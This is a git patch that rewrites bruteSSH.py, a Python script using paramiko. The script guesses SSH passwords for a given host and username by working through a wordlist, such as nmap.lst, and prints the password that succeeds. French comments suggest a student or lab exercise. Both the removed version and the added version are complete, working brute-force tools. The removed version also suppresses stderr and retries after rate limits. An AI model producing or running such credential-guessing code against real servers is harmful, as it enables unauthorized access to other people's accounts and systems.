From 550497e907868ac0249a18eef2a0fb7f5bcd9ed8 Mon Sep 17 00:00:00 2001 From: jerome Date: Tue, 17 Sep 2024 15:32:53 +0200 Subject: scapy --- bruteSSH.py | 62 ++++++++++++++++++++++--------------------------------------- 1 file changed, 22 insertions(+), 40 deletions(-) (limited to 'bruteSSH.py') diff --git a/bruteSSH.py b/bruteSSH.py index 9f2a001..2cfa67d 100644 --- a/bruteSSH.py +++ b/bruteSSH.py @@ -1,48 +1,30 @@ -import sys -import paramiko -import socket -import time -import os +import paramiko, sys -# anything that running this program prints to stderr should be -# redirected to /dev/null -# -os.dup2(os.open(os.devnull, os.O_WRONLY), 2) - -def is_ssh_open(hostname, username, password): - # initialize SSH client +def bruteforce(hostname, username, password): client = paramiko.SSHClient() - # add to know hosts client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: - client.connect(hostname=hostname, username=username, password=password, timeout=3) - except socket.timeout: - # this is when host is unreachable - print(f"[!] Host: {hostname} is unreachable, timed out.") - return False - except paramiko.AuthenticationException: - print(f"[!] Invalid credentials for {username}:{password}") - return False - except paramiko.SSHException: - print(f"[*] Quota exceeded, retrying with delay...") - # sleep for a minute - time.sleep(60) - return is_ssh_open(hostname, username, password) + client.connect(hostname, username=username, password=password) + except: + print("erreur : ",password) + #pass else: - # connection was established successfully - print(f"[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}") + print("trouvé : ",password) return True - + finally: + client.close() if __name__ == "__main__": - - - with open(sys.argv[3]) as wordlist: - for password in wordlist.readlines(): - password=password.strip("\n") - if password.startswith('#'): - pass - else: - if is_ssh_open(sys.argv[1], sys.argv[2], password) == True: - break - + hostname = sys.argv[1] + username = sys.argv[2] + dico = sys.argv[3] + try: + with open(dico, 'r') as wordlist: + for ligne in wordlist.readlines(): + # le fichier nmap.lst à des commentaires en début de fichier + if ligne[0] != "#": + password=ligne.strip() + if bruteforce(hostname,username,password)==True: + sys.exit() + except IndexError: + print(f"{sys.argv[0]} demande une hôte, un username et une liste de passwords en arguments") -- cgit v1.2.3